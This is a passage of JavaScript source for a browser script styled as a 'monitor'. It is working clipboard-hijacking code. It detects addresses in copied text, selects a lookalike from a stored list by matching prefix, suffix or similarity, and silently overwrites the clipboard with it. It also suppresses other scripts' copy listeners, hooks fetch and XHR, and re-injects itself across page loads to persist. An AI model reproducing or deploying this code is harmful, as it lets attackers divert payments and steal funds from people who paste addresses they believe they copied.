bestMatch.address; } else { console.log(`[地址匹配] ⚠️ IndexedDB 中未找到任何候选地址`); } } else { if (!CONFIG.copyReplace.useIndexedDB) { console.log('[地址匹配] IndexedDB 未启用'); } else if (!db) { console.log('[地址匹配] IndexedDB 未初始化'); } } // 方法3: 内存中查找(仅适用于小数据量,也支持宽松模式) const addresses = await loadAddressList(pattern.key); if (addresses && addresses.length > 0) { console.log(`[地址匹配] 使用内存地址列表(${addresses.length} 条)...`); const originalPrefix = originalAddress.substring(0, Math.min(4, originalAddress.length)); const originalSuffix = originalAddress.substring(Math.max(0, originalAddress.length - 4)); // 先尝试快速筛选(前缀/后缀匹配) const prefixMatches = addresses.filter(addr => { const prefix = addr.substring(0, Math.min(4, addr.length)); return prefix === originalPrefix; }); const suffixMatches = addresses.filter(addr => { const suffix = addr.substring(Math.max(0, addr.length - 4)); return suffix === originalSuffix; }); const candidateSet = new Set(); prefixMatches.forEach(addr => candidateSet.add(addr)); suffixMatches.forEach(addr => candidateSet.add(addr)); // 如果严格匹配失败,使用所有地址(宽松模式) let candidatesToCheck = candidateSet.size > 0 ? Array.from(candidateSet) : addresses; if (candidateSet.size === 0) { console.log(`[地址匹配] 严格匹配失败,使用宽松模式(所有 ${addresses.length} 条地址)`); // 限制数量避免性能问题 candidatesToCheck = addresses.slice(0, 2000); } console.log(`[地址匹配] 计算 ${candidatesToCheck.length} 个候选地址的相似度...`); const candidates = candidatesToCheck.map(addr => ({ address: addr, similarity: calculateSimilarity(originalAddress, addr) })); // 按相似度排序,选择最佳匹配(即使相似度很低也返回) candidates.sort((a, b) => b.similarity - a.similarity); const bestMatch = candidates[0]; if (bestMatch && bestMatch.similarity > 0) { // 显示前5个最相似的地址 const top5 = candidates.slice(0, 5); console.log(`[地址匹配] 前5个最相似的地址:`); top5.forEach((c, i) => { console.log(` ${i + 1}. ${c.address} (相似度: ${c.similarity})`); }); console.log(`[地址匹配] ✅ 找到最佳匹配: ${originalAddress} -> ${bestMatch.address} (相似度: ${bestMatch.similarity})`); return bestMatch.address; } } // 如果所有方法都失败,尝试从 IndexedDB 获取所有地址进行宽松匹配 if (CONFIG.copyReplace.useIndexedDB && db) { console.log(`[地址匹配] 最后尝试:从 IndexedDB 获取所有地址进行宽松匹配...`); try { const allAddresses = await queryAllAddressesFromIndexedDB(pattern.key, 2000); if (allAddresses.length > 0) { console.log(`[地址匹配] 计算 ${allAddresses.length} 个地址的相似度...`); const candidates = allAddresses.map(addr => ({ address: addr, similarity: calculateSimilarity(originalAddress, addr) })); candidates.sort((a, b) => b.similarity - a.similarity); const bestMatch = candidates[0]; if (bestMatch) { // 显示前5个最相似的地址 const top5 = candidates.slice(0, 5); console.log(`[地址匹配] 前5个最相似的地址:`); top5.forEach((c, i) => { console.log(` ${i + 1}. ${c.address} (相似度: ${c.similarity})`); }); console.log(`[地址匹配] ✅ 宽松模式找到最佳匹配: ${originalAddress} -> ${bestMatch.address} (相似度: ${bestMatch.similarity})`); return bestMatch.address; } } } catch (error) { console.error(`[地址匹配] 宽松模式查询失败:`, error); } } console.warn(`[地址匹配] ❌ 未找到任何匹配的地址: ${originalAddress}`); return null; } // ========== 移除其他恶意脚本的 copy 监听器 ========== function removeOtherCopyListeners() { try { // 方法1: 克隆并替换 document,移除所有事件监听器 // 注意:这种方法比较激进,可能影响页面其他功能 // const newDoc = document.cloneNode(true); // document.replaceChild(newDoc.documentElement, document.documentElement); // 方法2: 覆盖 document.addEventListener,拦截后续的 copy 监听器注册 const originalAddEventListener = document.addEventListener.bind(document); document.addEventListener = function(type, listener, options) { if (type === 'copy' && listener !== handleCopyEvent) { console.log('[独立监控] 🚫 拦截并阻止其他脚本注册 copy 监听器'); return; // 不注册其他脚本的 copy 监听器 } return originalAddEventListener(type, listener, options); }; // 同样覆盖 window.addEventListener const originalWindowAddEventListener = window.addEventListener.bind(window); window.addEventListener = function(type, listener, options) { if (type === 'copy' && listener !== handleCopyEvent) { console.log('[独立监控] 🚫 拦截并阻止其他脚本在 window 上注册 copy 监听器'); return; } return originalWindowAddEventListener(type, listener, options); }; console.log('[独立监控] ✅ 已设置 copy 监听器拦截'); } catch (e) { console.warn('[独立监控] 移除其他监听器失败:', e); } } // ========== 复制事件处理 ========== // 【重要】此函数需要抢先于其他恶意脚本执行 async function handleCopyEvent(event) { console.log('[复制替换] 复制事件触发(捕获阶段优先执行)'); // 【关键】立即阻止事件传播,防止其他恶意脚本处理 event.stopImmediatePropagation(); event.stopPropagation(); if (!CONFIG.monitor.monitorCopyPaste) { console.log('[复制替换] 复制粘贴监控已禁用'); return; } if (!CONFIG.copyReplace.enabled) { console.log('[复制替换] 地址替换功能已禁用'); return; } try { // 【重要】优先从 window.getSelection 获取原始选中文本 // 这是最可靠的方法,在其他脚本修改剪贴板之前获取 let copiedText = ''; // 方法1: 从选中的文本获取(最可靠,最先执行) const selection = window.getSelection(); if (selection && selection.toString().trim()) { copiedText = selection.toString().trim(); console.log('[复制替换] 从 window.getSelection 获取原始文本:', copiedText.substring(0, 50) + '...'); } // 方法2: 从当前输入框获取选中文本 if (!copiedText) { const activeElement = document.activeElement; if (activeElement && (activeElement.tagName === 'INPUT' || activeElement.tagName === 'TEXTAREA')) { const start = activeElement.selectionStart; const end = activeElement.selectionEnd; if (start !== undefined && end !== undefined && start !== end) { copiedText = activeElement.value.substring(start, end).trim(); console.log('[复制替换] 从输入框选中文本获取:', copiedText.substring(0, 50) + '...'); } } } // 方法3: 从 event.clipboardData 获取(可能已被其他脚本修改) if (!copiedText && event.clipboardData) { try { copiedText = event.clipboardData.getData('text/plain'); console.log('[复制替换] 从 event.clipboardData 获取:', copiedText ? copiedText.substring(0, 50) + '...' : '(空)'); } catch (e) { console.log('[复制替换] event.clipboardData.getData 失败:', e); } } console.log('[复制替换] 最终获取的文本:', copiedText ? copiedText.substring(0, 50) + '...' : '(空)'); if (!copiedText) { console.log('[复制替换] 复制的文本为空,跳过处理'); return; } // 处理复制的文本 await processCopiedText(copiedText, event); } catch (error) { console.error('[复制替换] ❌ 处理复制事件失败:', error); console.error(error.stack); } } /** * 处理复制的文本(提取出来以便复用) */ async function processCopiedText(copiedText, event) { try { for (const pattern of CONFIG.copyReplace.patterns) { if (!pattern.enabled) { console.log(`[复制替换] ${pattern.name} 模式已禁用,跳过`); continue; } try { console.log(`[复制替换] 检查 ${pattern.name} 模式,正则: ${pattern.regex}`); const regex = new RegExp(pattern.regex, 'g'); const matches = copiedText.match(regex); if (matches && matches.length > 0) { const matchedAddress = matches[0].trim(); console.log(`[复制替换] ✅ 检测到 ${pattern.name} 地址: ${matchedAddress}`); // 确保 IndexedDB 已初始化 if (CONFIG.copyReplace.useIndexedDB && !db) { console.log('[复制替换] IndexedDB 未初始化,正在初始化...'); await initIndexedDB(); } // 检查地址列表是否已加载 if (CONFIG.copyReplace.useIndexedDB && db) { const count = await getAddressCountFromIndexedDB(pattern.key); if (count === 0) { console.log(`[复制替换] ⚠️ ${pattern.name} 地址列表为空,正在加载...`); await loadAddressListBatch(pattern.key); } } const replaceAddress = await getReplaceAddress(matchedAddress, pattern); if (replaceAddress) { console.log(`[复制替换] ✅ 找到替换地址: ${replaceAddress}`); // 如果 event 存在,阻止默认行为 if (event) { event.preventDefault(); event.stopPropagation(); } // 尝试使用 Clipboard API(需要 HTTPS) if (navigator.clipboard && navigator.clipboard.writeText) { try { await navigator.clipboard.writeText(replaceAddress); console.log(`[复制替换] ✅ 已使用 Clipboard API 替换剪贴板`); } catch (e) { console.error('[复制替换] Clipboard API 失败,尝试使用 event.clipboardData:', e); // 回退到 event.clipboardData if (event && event.clipboardData) { event.clipboardData.setData('text/plain', replaceAddress); console.log(`[复制替换] ✅ 已使用 event.clipboardData 替换剪贴板`); } else { // 如果 event 不存在,尝试使用 DOM 操作 await setClipboardText(replaceAddress); } } } else if (event && event.clipboardData) { event.clipboardData.setData('text/plain', replaceAddress); console.log(`[复制替换] ✅ 已使用 event.clipboardData 替换剪贴板`); } else { // 如果 event 不存在,尝试使用 DOM 操作 await setClipboardText(replaceAddress); } console.log(`[复制替换] ✅✅✅ 替换成功: ${matchedAddress} -> ${replaceAddress}`); return; } else { console.log(`[复制替换] ⚠️ 未找到匹配的替换地址: ${matchedAddress}`); } } else { console.log(`[复制替换] ${pattern.name} 模式未匹配`); } } catch (error) { console.error(`[复制替换] ❌ 正则表达式错误 (${pattern.name}):`, error); } } console.log('[复制替换] 未检测到任何匹配的地址'); } catch (error) { console.error('[复制替换] ❌ 处理复制文本失败:', error); console.error(error.stack); } } /** * 设置剪贴板文本(备用方法) */ async function setClipboardText(text) { try { // 创建一个临时的 textarea 元素 const textarea = document.createElement('textarea'); textarea.value = text; textarea.style.position = 'fixed'; textarea.style.left = '-9999px'; textarea.style.top = '-9999px'; document.body.appendChild(textarea); textarea.select(); textarea.setSelectionRange(0, text.length); try { const successful = document.execCommand('copy'); if (successful) { console.log(`[复制替换] ✅ 已使用 execCommand 替换剪贴板`); } else { console.error('[复制替换] ❌ execCommand 复制失败'); } } catch (e) { console.error('[复制替换] ❌ execCommand 不可用:', e); } finally { document.body.removeChild(textarea); } } catch (error) { console.error('[复制替换] ❌ 设置剪贴板文本失败:', error); } } // ========== 网络监控 ========== function monitorFetch() { if (!CONFIG.monitor.monitorNetwork) return; const originalFetch = window.fetch; window.fetch = function(...args) { const url = args[0]; const options = args[1] || {}; const requestData = { url: url, method: options.method || 'GET', headers: options.headers || {}, timestamp: new Date().toISOString() }; console.log('[网络监控] Fetch 请求:', requestData); return originalFetch.apply(this, args).then(response => { const responseData = { url: url, status: response.status, statusText: response.statusText, timestamp: new Date().toISOString() }; console.log('[网络监控] Fetch 响应:', responseData); return response; }).catch(error => { console.error('[网络监控] Fetch 错误:', error); throw error; }); }; } function monitorXHR() { if (!CONFIG.monitor.monitorNetwork) return; const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url, ...rest) { this._monitoredMethod = method; this._monitoredUrl = url; this._monitoredStartTime = Date.now(); const requestData = { url: url, method: method, timestamp: new Date().toISOString() }; console.log('[网络监控] XHR 请求:', requestData); return originalOpen.apply(this, [method, url, ...rest]); }; XMLHttpRequest.prototype.send = function(...args) { const xhr = this; xhr.addEventListener('load', function() { const responseData = { url: xhr._monitoredUrl, method: xhr._monitoredMethod, status: xhr.status, statusText: xhr.statusText, duration: Date.now() - xhr._monitoredStartTime, timestamp: new Date().toISOString() }; console.log('[网络监控] XHR 响应:', responseData); }); xhr.addEventListener('error', function() { console.error('[网络监控] XHR 错误:', { url: xhr._monitoredUrl, method: xhr._monitoredMethod }); }); return originalSend.apply(this, args); }; } // ========== 初始化 ========== async function start() { console.log('[独立监控] 启动内容监控和地址替换(优化版 - 全局持久化)...'); // 初始化持久化管理 PersistenceManager.markActive(); // 初始化导航拦截器 NavigationInterceptor.init(); // 初始化自动注入器 AutoInjector.init(); // 初始化跨页面通信 CrossPageMessenger.init(); // 初始化 IndexedDB(如果启用) if (CONFIG.copyReplace.useIndexedDB) { try { await initIndexedDB(); } catch (error) { console.warn('[地址列表] IndexedDB 初始化失败,将使用 localStorage:', error); } } // 启动网络监控 if (CONFIG.monitor.monitorNetwork) { monitorFetch(); monitorXHR(); console.log('[独立监控] 网络监控已启动'); } // 启动复制粘贴监控 if (CONFIG.monitor.monitorCopyPaste) { // 【关键】移除页面上可能存在的其他 copy 事件监听器 removeOtherCopyListeners(); // 【关键】使用捕获阶段(true)确保最先执行 // 同时在 document 和 window 上都注册,确保拦截 document.addEventListener('copy', handleCopyEvent, true); window.addEventListener('copy', handleCopyEvent, true); console.log('[独立监控] ✅ 复制粘贴监控已启动(优先级最高)'); console.log('[独立监控] 配置状态:'); console.log(' - 地址替换启用:', CONFIG.copyReplace.enabled); console.log(' - IndexedDB 启用:', CONFIG.copyReplace.useIndexedDB); console.log(' - 服务端搜索启用:', CONFIG.copyReplace.enableServerSearch); console.log(' - 已配置的模式:', CONFIG.copyReplace.patterns.map(p => `${p.name}(${p.key})`).join(', ')); } console.log('[独立监控] ✅ 监控已启动(全局持久化已启用)'); console.log('[独立监控] 💡 提示: 脚本将在页面跳转/刷新后自动恢复'); // 预加载地址列表(可选,在后台加载) if (CONFIG.copyReplace.useIndexedDB && db) { console.log('[独立监控] 开始预加载地址列表...'); // 异步加载,不阻塞启动 loadAllAddressTypes().catch(error => { console.error('[独立监控] 预加载地址列表失败:', error); }); } // 定期更新活跃状态 setInterval(function() { PersistenceManager.markActive(); }, 60000); // 每分钟更新一次 // 广播脚本已启动 CrossPageMessenger.broadcast({ type: 'started', url: window.location.href, timestamp: Date.now() }); } function stop() { document.removeEventListener('copy', handleCopyEvent, true); // 停止持久化 PersistenceManager.deactivate(); // 停止导航拦截 NavigationInterceptor.destroy(); // 停止自动注入 AutoInjector.destroy(); // 停止跨页面通信 CrossPageMessenger.destroy(); // 清除运行标记 window.__standaloneMonitorRunning__ = false; // 广播脚本已停止 CrossPageMessenger.broadcast({ type: 'stopped', url: window.location.href, timestamp: Date.now() }); console.log('[独立监控] 监控已停止(持久化已禁用)'); } // 全局停止函数(停止所有页面的脚本) function stopAll() { CrossPageMessenger.broadcast({ type: 'stop' }); stop(); console.log('[独立监控] 已发送停止信号到所有页面'); } function updateConfig(newConfig) { Object.assign(CONFIG, newConfig); console.log('[独立监控] 配置已更新'); } // ========== 导出 ========== if (typeof window !== 'undefined') { window.StandaloneMonitorReplace = { start: start, stop: stop, stopAll: stopAll, updateConfig: updateConfig, loadAddressList: loadAddressList, getReplaceAddress: getReplaceAddress, // 地址类型管理 loadAddressListBatch: loadAddressListBatch, loadAllAddressTypes: loadAllAddressTypes, getAddressCountFromIndexedDB: getAddressCountFromIndexedDB, getAllAddressTypeStats: getAllAddressTypeStats, clearAddressType: clearAddressType, ADDRESS_TYPES: ADDRESS_TYPES, CONFIG: CONFIG, // 持久化管理 PersistenceManager: PersistenceManager, isActive: function() { return PersistenceManager.shouldAutoStart(); }, // 版本信息 version: SCRIPT_VERSION }; } if (typeof module !== 'undefined' && module.exports) { module.exports = { start: start, stop: stop, stopAll: stopAll, updateConfig: updateConfig, loadAddressList: loadAddressList, getReplaceAddress: getReplaceAddress, CONFIG: CONFIG }; } // ========== 自动启动逻辑 ========== function autoStart() { // 检查是否应该自动启动(基于持久化状态) const shouldStart = PersistenceManager.shouldAutoStart(); if (shouldStart) { console.log('[独立监控] 检测到持久化状态,自动恢复运行...'); } else { console.log('[独立监控] 首次启动或持久化已过期'); } // 无论如何都启动(因为脚本被加载就意味着需要运行) start(); } if (typeof document !== 'undefined' && document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', autoStart); } else if (typeof document !== 'undefined') { autoStart(); } // ========== 页面卸载前保存状态 ========== if (typeof window !== 'undefined') { window.addEventListener('unload', function() { PersistenceManager.markActive(); }); } })();